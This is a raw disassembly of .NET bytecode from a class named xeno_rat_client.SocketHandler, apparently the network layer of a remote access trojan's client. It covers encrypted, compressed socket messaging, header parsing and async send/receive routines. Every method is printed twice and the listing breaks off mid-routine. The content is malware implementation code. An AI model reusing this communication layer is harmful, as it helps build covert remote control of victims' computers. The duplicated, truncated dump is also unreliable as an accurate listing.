0000497einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00004984ldarg.0
00004985ldc.i4.m1
00004986dup
00004987stloc.0
00004988stfld <>1__state
0000498dldloca.s 3
0000498fcall GetResult
00004994brtrue.s IL_0080
00004996ldloc.1
00004997call Disconnect
0000499cldc.i4.0
0000499dstloc.2
0000499eleave.s IL_009d
000049a0ldc.i4.1
000049a1stloc.2
000049a2leave.s IL_009d
000049a4stloc.s 4
000049a6ldarg.0
000049a7ldc.i4.s -2
000049a9stfld <>1__state
000049aeldarg.0
000049afldflda <>t__builder
000049b4ldloc.s 4
000049b6call SetException
000049bbleave.s IL_00b1
000049bdldarg.0
000049beldc.i4.s -2
000049c0stfld <>1__state
000049c5ldarg.0
000049c6ldflda <>t__builder
000049cbldloc.2
000049cccall SetResult
000049d1ret
00004920
00004920<SendAsync>d__14::MoveNext:
00004920ldarg.0
00004921ldfld <>1__state
00004926stloc.0
00004927ldarg.0
00004928ldfld <>4__this
0000492dstloc.1
0000492eldloc.0
0000492fbrfalse.s IL_0051
00004931ldloc.1
00004932ldfld sock
00004937ldarg.0
00004938ldfld data
0000493dcallvirt SendAsync
00004942callvirt GetAwaiter
00004947stloc.3
00004948ldloca.s 3
0000494acall get_IsCompleted
0000494fbrtrue.s IL_006d
00004951ldarg.0
00004952ldc.i4.0
00004953dup
00004954stloc.0
00004955stfld <>1__state
0000495aldarg.0
0000495bldloc.3
0000495cstfld <>u__1
00004961ldarg.0
00004962ldflda <>t__builder
00004967ldloca.s 3
00004969ldarg.0
0000496acall 0x2B00002E
0000496fleave.s IL_00b1
00004971ldarg.0
00004972ldfld <>u__1
00004977stloc.3
00004978ldarg.0
00004979ldflda <>u__1
0000497einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00004984ldarg.0
00004985ldc.i4.m1
00004986dup
00004987stloc.0
00004988stfld <>1__state
0000498dldloca.s 3
0000498fcall GetResult
00004994brtrue.s IL_0080
00004996ldloc.1
00004997call Disconnect
0000499cldc.i4.0
0000499dstloc.2
0000499eleave.s IL_009d
000049a0ldc.i4.1
000049a1stloc.2
000049a2leave.s IL_009d
000049a4stloc.s 4
000049a6ldarg.0
000049a7ldc.i4.s -2
000049a9stfld <>1__state
000049aeldarg.0
000049afldflda <>t__builder
000049b4ldloc.s 4
000049b6call SetException
000049bbleave.s IL_00b1
000049bdldarg.0
000049beldc.i4.s -2
000049c0stfld <>1__state
000049c5ldarg.0
000049c6ldflda <>t__builder
000049cbldloc.2
000049cccall SetResult
000049d1ret
00004920
000049f0
000049f0xeno_rat_client.SocketHandler::RecvAllAsync_ddos_unsafer:
000049f0ldloca.s 0
000049f2call Create
000049f7stfld <>t__builder
000049fcldloca.s 0
000049feldarg.0
000049ffstfld <>4__this
00004a04ldloca.s 0
00004a06ldarg.1
00004a07stfld size
00004a0cldloca.s 0
00004a0eldc.i4.m1
00004a0fstfld <>1__state
00004a14ldloca.s 0
00004a16ldflda <>t__builder
00004a1bldloca.s 0
00004a1dcall 0x2B00002F
00004a22ldloca.s 0
00004a24ldflda <>t__builder
00004a29call get_Task
00004a2eret
000049f0
000049f0xeno_rat_client.SocketHandler::RecvAllAsync_ddos_unsafer:
000049f0ldloca.s 0
000049f2call Create
000049f7stfld <>t__builder
000049fcldloca.s 0
000049feldarg.0
000049ffstfld <>4__this
00004a04ldloca.s 0
00004a06ldarg.1
00004a07stfld size
00004a0cldloca.s 0
00004a0eldc.i4.m1
00004a0fstfld <>1__state
00004a14ldloca.s 0
00004a16ldflda <>t__builder
00004a1bldloca.s 0
00004a1dcall 0x2B00002F
00004a22ldloca.s 0
00004a24ldflda <>t__builder
00004a29call get_Task
00004a2eret
000049f0
00004a3c
00004a3cxeno_rat_client.SocketHandler::RecvAllAsync_ddos_safer:
00004a3cldloca.s 0
00004a3ecall Create
00004a43stfld <>t__builder
00004a48ldloca.s 0
00004a4aldarg.0
00004a4bstfld <>4__this
00004a50ldloca.s 0
00004a52ldarg.1
00004a53stfld size
00004a58ldloca.s 0
00004a5aldc.i4.m1
00004a5bstfld <>1__state
00004a60ldloca.s 0
00004a62ldflda <>t__builder
00004a67ldloca.s 0
00004a69call 0x2B000030
00004a6eldloca.s 0
00004a70ldflda <>t__builder
00004a75call get_Task
00004a7aret
00004a3c
00004a3cxeno_rat_client.SocketHandler::RecvAllAsync_ddos_safer:
00004a3cldloca.s 0
00004a3ecall Create
00004a43stfld <>t__builder
00004a48ldloca.s 0
00004a4aldarg.0
00004a4bstfld <>4__this
00004a50ldloca.s 0
00004a52ldarg.1
00004a53stfld size
00004a58ldloca.s 0
00004a5aldc.i4.m1
00004a5bstfld <>1__state
00004a60ldloca.s 0
00004a62ldflda <>t__builder
00004a67ldloca.s 0
00004a69call 0x2B000030
00004a6eldloca.s 0
00004a70ldflda <>t__builder
00004a75call get_Task
00004a7aret
00004a3c
00004a88
00004a88xeno_rat_client.SocketHandler::Concat:
00004a88ldarg.0
00004a89brtrue.s IL_000b
00004a8bldc.i4.0
00004a8cnewarr System.Byte
00004a91starg.s 0
00004a93newobj .ctor
00004a98dup
00004a99ldarg.0
00004a9acallvirt Add
00004a9fdup
00004aa0ldarg.1
00004aa1callvirt Add
00004aa6ldsfld <>9__6_0
00004aabdup
00004aacbrtrue.s IL_003d
00004aaepop
00004aafldsfld <>9
00004ab4ldftn <Concat>b__6_0
00004abanewobj .ctor
00004abfdup
00004ac0stsfld <>9__6_0
00004ac5call 0x2B000031
00004acacall 0x2B000012
00004acfret
00004a88
00004a88xeno_rat_client.SocketHandler::Concat:
00004a88ldarg.0
00004a89brtrue.s IL_000b
00004a8bldc.i4.0
00004a8cnewarr System.Byte
00004a91starg.s 0
00004a93newobj .ctor
00004a98dup
00004a99ldarg.0
00004a9acallvirt Add
00004a9fdup
00004aa0ldarg.1
00004aa1callvirt Add
00004aa6ldsfld <>9__6_0
00004aabdup
00004aacbrtrue.s IL_003d
00004aaepop
00004aafldsfld <>9
00004ab4ldftn <Concat>b__6_0
00004abanewobj .ctor
00004abfdup
00004ac0stsfld <>9__6_0
00004ac5call 0x2B000031
00004acacall 0x2B000012
00004acfret
00004a88
00004adc
00004adcxeno_rat_client.SocketHandler::ParseHeader:
00004adcnewobj .ctor
00004ae1stloc.0
00004ae2ldarg.1
00004ae3ldc.i4.0
00004ae4ldelem.u1
00004ae5ldc.i4.1
00004ae6bne.un.s IL_002a
00004ae8ldloc.0
00004ae9ldc.i4.1
00004aeastfld Compressed
00004aefldloc.0
00004af0ldarg.0
00004af1ldarg.1
00004af2ldc.i4.1
00004af3call BytesToInt
00004af8stfld OriginalFileSize
00004afdldloc.0
00004afeldc.i4.5
00004affstfld T_offset
00004b04br.s IL_0031
00004b06ldarg.1
00004b07ldc.i4.0
00004b08ldelem.u1
00004b09brfalse.s IL_0031
00004b0bldnull
00004b0cret
00004b0dldloc.0
00004b0eret
00004adc
00004adcxeno_rat_client.SocketHandler::ParseHeader:
00004adcnewobj .ctor
00004ae1stloc.0
00004ae2ldarg.1
00004ae3ldc.i4.0
00004ae4ldelem.u1
00004ae5ldc.i4.1
00004ae6bne.un.s IL_002a
00004ae8ldloc.0
00004ae9ldc.i4.1
00004aeastfld Compressed
00004aefldloc.0
00004af0ldarg.0
00004af1ldarg.1
00004af2ldc.i4.1
00004af3call BytesToInt
00004af8stfld OriginalFileSize
00004afdldloc.0
00004afeldc.i4.5
00004affstfld T_offset
00004b04br.s IL_0031
00004b06ldarg.1
00004b07ldc.i4.0
00004b08ldelem.u1
00004b09brfalse.s IL_0031
00004b0bldnull
00004b0cret
00004b0dldloc.0
00004b0eret
00004adc
00004b1c
00004b1cxeno_rat_client.SocketHandler::BTruncate:
00004b1cldarg.1
00004b1dldlen
00004b1econv.i4
00004b1fldarg.2
00004b20sub
00004b21newarr System.Byte
00004b26stloc.0
00004b27ldarg.1
00004b28ldarg.2
00004b29ldloc.0
00004b2aldc.i4.0
00004b2bldloc.0
00004b2cldlen
00004b2dconv.i4
00004b2ecall BlockCopy
00004b33ldloc.0
00004b34ret
00004b1c
00004b1cxeno_rat_client.SocketHandler::BTruncate:
00004b1cldarg.1
00004b1dldlen
00004b1econv.i4
00004b1fldarg.2
00004b20sub
00004b21newarr System.Byte
00004b26stloc.0
00004b27ldarg.1
00004b28ldarg.2
00004b29ldloc.0
00004b2aldc.i4.0
00004b2bldloc.0
00004b2cldlen
00004b2dconv.i4
00004b2ecall BlockCopy
00004b33ldloc.0
00004b34ret
00004b1c
00004b44
00004b44xeno_rat_client.SocketHandler::SendAsync:
00004b44ldloca.s 0
00004b46call Create
00004b4bstfld <>t__builder
00004b50ldloca.s 0
00004b52ldarg.0
00004b53stfld <>4__this
00004b58ldloca.s 0
00004b5aldarg.1
00004b5bstfld data
00004b60ldloca.s 0
00004b62ldc.i4.m1
00004b63stfld <>1__state
00004b68ldloca.s 0
00004b6aldflda <>t__builder
00004b6fldloca.s 0
00004b71call 0x2B000032
00004b76ldloca.s 0
00004b78ldflda <>t__builder
00004b7dcall get_Task
00004b82ret
00004b44
00004b44xeno_rat_client.SocketHandler::SendAsync:
00004b44ldloca.s 0
00004b46call Create
00004b4bstfld <>t__builder
00004b50ldloca.s 0
00004b52ldarg.0
00004b53stfld <>4__this
00004b58ldloca.s 0
00004b5aldarg.1
00004b5bstfld data
00004b60ldloca.s 0
00004b62ldc.i4.m1
00004b63stfld <>1__state
00004b68ldloca.s 0
00004b6aldflda <>t__builder
00004b6fldloca.s 0
00004b71call 0x2B000032
00004b76ldloca.s 0
00004b78ldflda <>t__builder
00004b7dcall get_Task
00004b82ret
00004b44
00004b90
00004b90xeno_rat_client.SocketHandler::ReceiveAsync:
00004b90ldloca.s 0
00004b92call Create
00004b97stfld <>t__builder
00004b9cldloca.s 0
00004b9eldarg.0
00004b9fstfld <>4__this
00004ba4ldloca.s 0
00004ba6ldc.i4.m1
00004ba7stfld <>1__state
00004bacldloca.s 0
00004baeldflda <>t__builder
00004bb3ldloca.s 0
00004bb5call 0x2B000033
00004bbaldloca.s 0
00004bbcldflda <>t__builder
00004bc1call get_Task
00004bc6ret
00004b90
00004b90xeno_rat_client.SocketHandler::ReceiveAsync:
00004b90ldloca.s 0
00004b92call Create
00004b97stfld <>t__builder
00004b9cldloca.s 0
00004b9eldarg.0
00004b9fstfld <>4__this
00004ba4ldloca.s 0
00004ba6ldc.i4.m1
00004ba7stfld <>1__state
00004bacldloca.s 0
00004baeldflda <>t__builder
00004bb3ldloca.s 0
00004bb5call 0x2B000033
00004bbaldloca.s 0
00004bbcldflda <>t__builder
00004bc1call get_Task
00004bc6ret
00004b90
00004bd4
00004bd4xeno_rat_client.SocketHandler::BytesToInt:
00004bd4ldsfld IsLittleEndian
00004bd9brfalse.s IL_0025
00004bdbldarg.1
00004bdcldarg.2
00004bddldelem.u1
00004bdeldarg.1
00004bdfldarg.2
00004be0ldc.i4.1
00004be1add
00004be2ldelem.u1
00004be3ldc.i4.8
00004be4shl
00004be5or
00004be6ldarg.1
00004be7ldarg.2
00004be8ldc.i4.2
00004be9add
00004bealdelem.u1
00004bebldc.i4.s 16
00004bedshl
00004beeor
00004befldarg.1
00004bf0ldarg.2
00004bf1ldc.i4.3
00004bf2add
00004bf3ldelem.u1
00004bf4ldc.i4.s 24
00004bf6shl
00004bf7or
00004bf8ret
00004bf9ldarg.1
00004bfaldarg.2
00004bfbldc.i4.3
00004bfcadd
00004bfdldelem.u1
00004bfeldarg.1
00004bffldarg.2
00004c00ldc.i4.2
00004c01add
00004c02ldelem.u1
00004c03ldc.i4.8
00004c04shl
00004c05or
00004c06ldarg.1
00004c07ldarg.2
00004c08ldc.i4.1
00004c09add
00004c0aldelem.u1
00004c0bldc.i4.s 16
00004c0dshl
00004c0eor
00004c0fldarg.1
00004c10ldarg.2
00004c11ldelem.u1
00004c12ldc.i4.s 24
00004c14shl
00004c15or
00004c16ret
00004bd4
00004bd4xeno_rat_client.SocketHandler::BytesToInt:
00004bd4ldsfld IsLittleEndian
00004bd9brfalse.s IL_0025
00004bdbldarg.1
00004bdcldarg.2
00004bddldelem.u1
00004bdeldarg.1
00004bdfldarg.2
00004be0ldc.i4.1
00004be1add
00004be2ldelem.u1
00004be3ldc.i4.8
00004be4shl
00004be5or
00004be6ldarg.1
00004be7ldarg.2
00004be8ldc.i4.2
00004be9add
00004bealdelem.u1
00004bebldc.i4.s 16
00004bedshl
00004beeor
00004befldarg.1
00004bf0ldarg.2
00004bf1ldc.i4.3
00004bf2add
00004bf3ldelem.u1
00004bf4ldc.i4.s 24
00004bf6shl
00004bf7or
00004bf8ret
00004bf9ldarg.1
00004bfaldarg.2
00004bfbldc.i4.3
00004bfcadd
00004bfdldelem.u1
00004bfeldarg.1
00004bffldarg.2
00004c00ldc.i4.2
00004c01add
00004c02ldelem.u1
00004c03ldc.i4.8
00004c04shl
00004c05or
00004c06ldarg.1
00004c07ldarg.2
00004c08ldc.i4.1
00004c09add
00004c0aldelem.u1
00004c0bldc.i4.s 16
00004c0dshl
00004c0eor
00004c0fldarg.1
00004c10ldarg.2
00004c11ldelem.u1
00004c12ldc.i4.s 24
00004c14shl
00004c15or
00004c16ret
00004bd4
00004c24
00004c24xeno_rat_client.SocketHandler::IntToBytes:
00004c24ldc.i4.4
00004c25newarr System.Byte
00004c2astloc.0
00004c2bldsfld IsLittleEndian
00004c30brfalse.s IL_002c
00004c32ldloc.0
00004c33ldc.i4.0
00004c34ldarg.1
00004c35conv.u1
00004c36stelem.i1
00004c37ldloc.0
00004c38ldc.i4.1
00004c39ldarg.1
00004c3aldc.i4.8
00004c3bshr
00004c3cconv.u1
00004c3dstelem.i1
00004c3eldloc.0
00004c3fldc.i4.2
00004c40ldarg.1
00004c41ldc.i4.s 16
00004c43shr
00004c44conv.u1
00004c45stelem.i1
00004c46ldloc.0
00004c47ldc.i4.3
00004c48ldarg.1
00004c49ldc.i4.s 24
00004c4bshr
00004c4cconv.u1
00004c4dstelem.i1
00004c4ebr.s IL_0048
00004c50ldloc.0
00004c51ldc.i4.3
00004c52ldarg.1
00004c53conv.u1
00004c54stelem.i1
00004c55ldloc.0
00004c56ldc.i4.2
00004c57ldarg.1
00004c58ldc.i4.8
00004c59shr
00004c5aconv.u1
00004c5bstelem.i1
00004c5cldloc.0
00004c5dldc.i4.1
00004c5eldarg.1
00004c5fldc.i4.s 16
00004c61shr
00004c62conv.u1
00004c63stelem.i1
00004c64ldloc.0
00004c65ldc.i4.0
00004c66ldarg.1
00004c67ldc.i4.s 24
00004c69shr
00004c6aconv.u1
00004c6bstelem.i1
00004c6cldloc.0
00004c6dret
00004c24
00004c24xeno_rat_client.SocketHandler::IntToBytes:
00004c24ldc.i4.4
00004c25newarr System.Byte
00004c2astloc.0
00004c2bldsfld IsLittleEndian
00004c30brfalse.s IL_002c
00004c32ldloc.0
00004c33ldc.i4.0
00004c34ldarg.1
00004c35conv.u1
00004c36stelem.i1
00004c37ldloc.0
00004c38ldc.i4.1
00004c39ldarg.1
00004c3aldc.i4.8
00004c3bshr
00004c3cconv.u1
00004c3dstelem.i1
00004c3eldloc.0
00004c3fldc.i4.2
00004c40ldarg.1
00004c41ldc.i4.s 16
00004c43shr
00004c44conv.u1
00004c45stelem.i1
00004c46ldloc.0
00004c47ldc.i4.3
00004c48ldarg.1
00004c49ldc.i4.s 24
00004c4bshr
00004c4cconv.u1
00004c4dstelem.i1
00004c4ebr.s IL_0048
00004c50ldloc.0
00004c51ldc.i4.3
00004c52ldarg.1
00004c53conv.u1
00004c54stelem.i1
00004c55ldloc.0
00004c56ldc.i4.2
00004c57ldarg.1
00004c58ldc.i4.8
00004c59shr
00004c5aconv.u1
00004c5bstelem.i1
00004c5cldloc.0
00004c5dldc.i4.1
00004c5eldarg.1
00004c5fldc.i4.s 16
00004c61shr
00004c62conv.u1
00004c63stelem.i1
00004c64ldloc.0
00004c65ldc.i4.0
00004c66ldarg.1
00004c67ldc.i4.s 24
00004c69shr
00004c6aconv.u1
00004c6bstelem.i1
00004c6cldloc.0
00004c6dret
00004c24
00004c7c
00004c7c<ReceiveAsync>d__10::MoveNext:
00004c7cldarg.0
00004c7dldfld <>1__state
00004c82stloc.0
00004c83ldarg.0
00004c84ldfld <>4__this
00004c89stloc.1
00004c8aldloc.0
00004c8bldc.i4.1
00004c8cpop
00004c8dpop
00004c8enop
00004c8fldloc.0
00004c90brfalse.s IL_0058
00004c92ldloc.0
00004c93ldc.i4.1
00004c94beq IL_00cd
00004c99ldloc.1
00004c9aldc.i4.4
00004c9bcall RecvAllAsync_ddos_unsafer
00004ca0callvirt GetAwaiter
00004ca5stloc.s 7
00004ca7ldloca.s 7
00004ca9call get_IsCompleted
00004caebrtrue.s IL_0075
00004cb0ldarg.0
00004cb1ldc.i4.0
00004cb2dup
00004cb3stloc.0
00004cb4stfld <>1__state
00004cb9ldarg.0
00004cbaldloc.s 7
00004cbcstfld <>u__1
00004cc1ldarg.0
00004cc2ldflda <>t__builder
00004cc7ldloca.s 7
00004cc9ldarg.0
00004ccacall 0x2B000034
00004ccfleave IL_01f9
00004cd4ldarg.0
00004cd5ldfld <>u__1
00004cdastloc.s 7
00004cdcldarg.0
00004cddldflda <>u__1
00004ce2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004ce8ldarg.0
00004ce9ldc.i4.m1
00004ceadup
00004cebstloc.0
00004cecstfld <>1__state
00004cf1ldloca.s 7
00004cf3call GetResult
00004cf8stloc.3
00004cf9ldloc.3
00004cfabrtrue.s IL_0087
00004cfcldnull
00004cfdstloc.2
00004cfeleave IL_01e5
00004d03ldloc.1
00004d04ldloc.3
00004d05ldc.i4.0
00004d06call BytesToInt
00004d0bstloc.s 4
00004d0dldloc.1
00004d0eldloc.s 4
00004d10call RecvAllAsync_ddos_unsafer
00004d15callvirt GetAwaiter
00004d1astloc.s 7
00004d1cldloca.s 7
00004d1ecall get_IsCompleted
00004d23brtrue.s IL_00ea
00004d25ldarg.0
00004d26ldc.i4.1
00004d27dup
00004d28stloc.0
00004d29stfld <>1__state
00004d2eldarg.0
00004d2fldloc.s 7
00004d31stfld <>u__1
00004d36ldarg.0
00004d37ldflda <>t__builder
00004d3cldloca.s 7
00004d3eldarg.0
00004d3fcall 0x2B000034
00004d44leave IL_01f9
00004d49ldarg.0
00004d4aldfld <>u__1
00004d4fstloc.s 7
00004d51ldarg.0
00004d52ldflda <>u__1
00004d57initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004d5dldarg.0
00004d5eldc.i4.m1
00004d5fdup
00004d60stloc.0
00004d61stfld <>1__state
00004d66ldloca.s 7
00004d68call GetResult
00004d6dstloc.s 5
00004d6fldloc.s 5
00004d71brtrue.s IL_00fe
00004d73ldnull
00004d74stloc.2
00004d75leave IL_01e5
00004d7aldloc.s 5
00004d7cldc.i4.0
00004d7dldelem.u1
00004d7eldc.i4.3
00004d7fbne.un.s IL_016d
00004d81ldloc.1
00004d82ldloc.s 5
00004d84ldc.i4.1
00004d85call BTruncate
00004d8astloc.s 5
00004d8cldloc.s 5
00004d8eldloc.1
00004d8fldfld EncryptionKey
00004d94call Decrypt
00004d99stloc.s 5
00004d9bldloc.s 5
00004d9dldc.i4.0
00004d9eldelem.u1
00004d9fldc.i4.2
00004da0beq IL_001d
00004da5ldloc.1
00004da6ldloc.s 5
00004da8call ParseHeader
00004dadstloc.s 6
00004dafldloc.s 6
00004db1brtrue.s IL_013e
00004db3ldnull
00004db4stloc.2
00004db5leave IL_01e5
00004dbaldloc.1
00004dbbldloc.s 5
00004dbdldloc.s 6
00004dbfldfld T_offset
00004dc4call BTruncate
00004dc9stloc.s 5
00004dcbldloc.s 6
00004dcdldfld Compressed
00004dd2brfalse.s IL_0168
00004dd4ldloc.s 5
00004dd6ldloc.s 6
00004dd8ldfld OriginalFileSize
00004dddcall Decompress
00004de2stloc.s 5
00004de4ldloc.s 5
00004de6stloc.2
00004de7leave.s IL_01e5
00004de9ldloc.s 5
00004debldc.i4.0
00004decldelem.u1
00004dedldc.i4.2
00004deebeq IL_001d
00004df3ldloc.1
00004df4ldloc.s 5
00004df6call ParseHeader
00004dfbstloc.s 6
00004dfdldloc.s 6
00004dffbrtrue.s IL_0189
00004e01ldnull
00004e02stloc.2
00004e03leave.s IL_01e5
00004e05ldloc.1
00004e06ldloc.s 5
00004e08ldloc.s 6
00004e0aldfld T_offset
00004e0fcall BTruncate
00004e14stloc.s 5
00004e16ldloc.s 6
00004e18ldfld Compressed
00004e1dbrfalse.s IL_01b3
00004e1fldloc.s 5
00004e21ldloc.s 6
00004e23ldfld OriginalFileSize
00004e28call Decompress
00004e2dstloc.s 5
00004e2fldloc.s 5
00004e31ldloc.1
00004e32ldfld EncryptionKey
00004e37call Decrypt
00004e3cstloc.s 5
00004e3eldloc.s 5
00004e40stloc.2
00004e41leave.s IL_01e5
00004e43pop
00004e44ldnull
00004e45stloc.2
00004e46leave.s IL_01e5
00004e48stloc.s 8
00004e4aldarg.0
00004e4bldc.i4.s -2
00004e4dstfld <>1__state
00004e52ldarg.0
00004e53ldflda <>t__builder
00004e58ldloc.s 8
00004e5acall SetException
00004e5fleave.s IL_01f9
00004e61ldarg.0
00004e62ldc.i4.s -2
00004e64stfld <>1__state
00004e69ldarg.0
00004e6aldflda <>t__builder
00004e6fldloc.2
00004e70call SetResult
00004e75ret
00004c7c
00004c7c<ReceiveAsync>d__10::MoveNext:
00004c7cldarg.0
00004c7dldfld <>1__state
00004c82stloc.0
00004c83ldarg.0
00004c84ldfld <>4__this
00004c89stloc.1
00004c8aldloc.0
00004c8bldc.i4.1
00004c8cpop
00004c8dpop
00004c8enop
00004c8fldloc.0
00004c90brfalse.s IL_0058
00004c92ldloc.0
00004c93ldc.i4.1
00004c94beq IL_00cd
00004c99ldloc.1
00004c9aldc.i4.4
00004c9bcall RecvAllAsync_ddos_unsafer
00004ca0callvirt GetAwaiter
00004ca5stloc.s 7
00004ca7ldloca.s 7
00004ca9call get_IsCompleted
00004caebrtrue.s IL_0075
00004cb0ldarg.0
00004cb1ldc.i4.0
00004cb2dup
00004cb3stloc.0
00004cb4stfld <>1__state
00004cb9ldarg.0
00004cbaldloc.s 7
00004cbcstfld <>u__1
00004cc1ldarg.0
00004cc2ldflda <>t__builder
00004cc7ldloca.s 7
00004cc9ldarg.0
00004ccacall 0x2B000034
00004ccfleave IL_01f9
00004cd4ldarg.0
00004cd5ldfld <>u__1
00004cdastloc.s 7
00004cdcldarg.0
00004cddldflda <>u__1
00004ce2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004ce8ldarg.0
00004ce9ldc.i4.m1
00004ceadup
00004cebstloc.0
00004cecstfld <>1__state
00004cf1ldloca.s 7
00004cf3call GetResult
00004cf8stloc.3
00004cf9ldloc.3
00004cfabrtrue.s IL_0087
00004cfcldnull
00004cfdstloc.2
00004cfeleave IL_01e5
00004d03ldloc.1
00004d04ldloc.3
00004d05ldc.i4.0
00004d06call BytesToInt
00004d0bstloc.s 4
00004d0dldloc.1
00004d0eldloc.s 4
00004d10call RecvAllAsync_ddos_unsafer
00004d15callvirt GetAwaiter
00004d1astloc.s 7
00004d1cldloca.s 7
00004d1ecall get_IsCompleted
00004d23brtrue.s IL_00ea
00004d25ldarg.0
00004d26ldc.i4.1
00004d27dup
00004d28stloc.0
00004d29stfld <>1__state
00004d2eldarg.0
00004d2fldloc.s 7
00004d31stfld <>u__1
00004d36ldarg.0
00004d37ldflda <>t__builder
00004d3cldloca.s 7
00004d3eldarg.0
00004d3fcall 0x2B000034
00004d44leave IL_01f9
00004d49ldarg.0
00004d4aldfld <>u__1
00004d4fstloc.s 7
00004d51ldarg.0
00004d52ldflda <>u__1
00004d57initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00004d5dldarg.0
00004d5eldc.i4.m1
00004d5fdup
00004d60stloc.0
00004d61stfld <>1__state
00004d66ldloca.s 7
00004d68call GetResult
00004d6dstloc.s 5
00004d6fldloc.s 5
00004d71brtrue.s IL_00fe
00004d73ldnull
00004d74stloc.2
00004d75leave IL_01e5
00004d7aldloc.s 5
00004d7cldc.i4.0
00004d7dldelem.u1
00004d7eldc.i4.3
00004d7fbne.un.s IL_016d
00004d81ldloc.1
00004d82ldloc.s 5
00004d84ldc.i4.1
00004d85call BTruncate
00004d8astloc.s 5
00004d8cldloc.s 5
00004d8eldloc.1
00004d8fldfld EncryptionKey
00004d94call Decrypt
00004d99stloc.s 5
00004d9bldloc.s 5
00004d9dldc.i4.0
00004d9eldelem.u1
00004d9fldc.i4.2
00004da0beq IL_001d
00004da5ldloc.1
00004da6ldloc.s 5
00004da8call ParseHeader
00004dadstloc.s 6
00004dafldloc.s 6
00004db1brtrue.s IL_013e
00004db3ldnull
00004db4stloc.2
00004db5leave IL_01e5
00004dbaldloc.1
00004dbbldloc.s 5
00004dbdldloc.s 6
00004dbfldfld T_offset
00004dc4call BTruncate
00004dc9stloc.s 5
00004dcbldloc.s 6
00004dcdldfld Compressed
00004dd2brfalse.s IL_0168
00004dd4ldloc.s 5
00004dd6ldloc.s 6
00004dd8ldfld OriginalFileSize
00004dddcall Decompress
00004de2stloc.s 5
00004de4ldloc.s 5
00004de6stloc.2
00004de7leave.s IL_01e5
00004de9ldloc.s 5
00004debldc.i4.0
00004decldelem.u1
00004dedldc.i4.2
00004deebeq IL_001d
00004df3ldloc.1
00004df4ldloc.s 5
00004df6call ParseHeader
00004dfbstloc.s 6
00004dfdldloc.s 6
00004dffbrtrue.s IL_0189
00004e01ldnull
00004e02stloc.2
00004e03leave.s IL_01e5
00004e05ldloc.1
00004e06ldloc.s 5
00004e08ldloc.s 6
00004e0aldfld T_offset
00004e0fcall BTruncate
00004e14stloc.s 5
00004e16ldloc.s 6
00004e18ldfld Compressed
00004e1dbrfalse.s IL_01b3
00004e1fldloc.s 5
00004e21ldloc.s 6
00004e23ldfld OriginalFileSize
00004e28call Decompress
00004e2dstloc.s 5
00004e2fldloc.s 5
00004e31ldloc.1
00004e32ldfld EncryptionKey
00004e37call Decrypt
00004e3cstloc.s 5
00004e3eldloc.s 5
00004e40stloc.2
00004e41leave.s IL_01e5
00004e43pop
00004e44ldnull
00004e45stloc.2
00004e46leave.s IL_01e5
00004e48stloc.s 8
00004e4aldarg.0
00004e4bldc.i4.s -2
00004e4dstfld <>1__state
00004e52ldarg.0
00004e53ldflda <>t__builder
00004e58ldloc.s 8
00004e5acall SetException
00004e5fleave.s IL_01f9
00004e61ldarg.0
00004e62ldc.i4.s -2
00004e64stfld <>1__state
00004e69ldarg.0
00004e6aldflda <>t__builder
00004e6fldloc.2
00004e70call SetResult
00004e75ret
00004c7c
00004eb8
00004eb8<RecvAllAsync_ddos_safer>d__5::MoveNext:
00004eb8ldarg.0
00004eb9ldfld <>1__state
00004ebestloc.0
00004ebfldarg.0
00004ec0ldfld <>4__this
00004ec5stloc.1
00004ec6ldloc.0
00004ec7switch (IL_00db, IL_01e0, IL_0248)
00004ed8ldarg.0
00004ed9ldarg.0
00004edaldfld size
00004edfnewarr System.Byte
00004ee4stfld <data>5__2
00004ee9ldarg.0
00004eealdc.i4.0
00004eebstfld <total>5__3
00004ef0ldarg.0
00004ef1ldarg.0
00004ef2ldfld size
00004ef7stfld <dataLeft>5__4
00004efcldarg.0
00004efdcall get_Now
00004f02stfld <startTimestamp>5__5
00004f07ldarg.0
00004f08call get_Now
00004f0dstfld <lastSendTime>5__6
00004f12br IL_026c
00004f17ldloc.1
00004f18ldfld sock
00004f1dcallvirt get_Connected
00004f22brtrue.s IL_0073
00004f24ldnull
00004f25stloc.2
00004f26leave IL_02a6
00004f2bldloc.1
00004f2cldfld sock
00004f31callvirt get_Available
00004f36ldc.i4.0
00004f37ble IL_0130
00004f3cldloc.1
00004f3dldfld sock
00004f42ldarg.0
00004f43ldfld <data>5__2
00004f48ldarg.0
00004f49ldfld <total>5__3
00004f4eldarg.0
00004f4fldfld <dataLeft>5__4
00004f54newobj .ctor
00004f59ldc.i4.0
00004f5acall ReceiveAsync
00004f5fcallvirt GetAwaiter
00004f64stloc.s 4
00004f66ldloca.s 4
00004f68call get_IsCompleted
00004f6dbrtrue.s IL_00f8
00004f6fldarg.0
00004f70ldc.i4.0
00004f71dup
00004f72stloc.0
00004f73stfld <>1__state
00004f78ldarg.0
00004f79ldloc.s 4
00004f7bstfld <>u__1
00004f80ldarg.0
00004f81ldflda <>t__builder
00004f86ldloca.s 4
00004f88ldarg.0
00004f89call 0x2B000035
00004f8eleave IL_02c1
00004f93ldarg.0
00004f94ldfld <>u__1
00004f99stloc.s 4
00004f9bldarg.0
00004f9cldflda <>u__1
00004fa1initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<int32>
00004fa7ldarg.0
00004fa8ldc.i4.m1
00004fa9dup
00004faastloc.0
00004fabstfld <>1__state
00004fb0ldloca.s 4
00004fb2call GetResult
00004fb7stloc.3
00004fb8ldloc.3
00004fb9brtrue.s IL_010f
00004fbbldarg.0
00004fbcldnull
00004fbdstfld <data>5__2
00004fc2br IL_027d
00004fc7ldarg.0
00004fc8ldarg.0
00004fc9ldfld <total>5__3
00004fceldloc.3
00004fcfadd
00004fd0stfld <total>5__3
00004fd5ldarg.0
00004fd6ldarg.0
00004fd7ldfld <dataLeft>5__4
00004fdcldloc.3
00004fddsub
00004fdestfld <dataLeft>5__4
00004fe3br IL_026c
00004fe8ldloc.1
00004fe9ldfld socktimeout
00004feebrfalse.s IL_0166
00004ff0call get_Now
00004ff5ldarg.0
00004ff6ldfld <startTimestamp>5__5
00004ffbcall op_Subtraction
00005000stloc.s 6
00005002ldloca.s 6
00005004call get_TotalMilliseconds
